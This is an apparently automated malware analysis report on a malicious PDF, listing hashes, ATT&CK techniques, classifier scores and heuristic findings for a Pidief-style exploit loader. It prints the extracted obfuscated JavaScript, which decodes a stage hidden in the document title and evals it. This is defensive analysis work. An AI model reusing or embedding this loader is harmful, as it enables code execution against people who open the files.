Malicious PDF — malware analysis report

Static analysis result for SHA-256 4f8d78be4e311f04…

MALICIOUS

PDF

44.9 KB First seen: 2013-07-25
MD5: 078e71d354f7b8ce8c18981c2a82b3fb SHA-1: a3b48365a60fe51f92a22bcac0375539b379ab26 SHA-256: 4f8d78be4e311f04b5607e6d7c687613c12473bdd36046ae75270fe619cf86ab
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for executing malicious code, potentially downloading further payloads or exploiting vulnerabilities. The document body text 'test' provides no contextual information about the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB037 610 bytes
SHA-256: 1594500f3b4b86f5737cfd242a0c716bba2042aa6181ebcedca6f5251effc057
Preview script
First 1,000 lines of the extracted script
pvf='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
mkuj=e('ti'+'tle');
s=mkuj.substr(t.length + 8,3)+'str';
q=mkuj[s](1,(1,9));
mbthz=e('S'+'tring.fro'+q);
q=mkuj[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	gvt = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	pvf += mbthz(gvt);
}
e(pvf);

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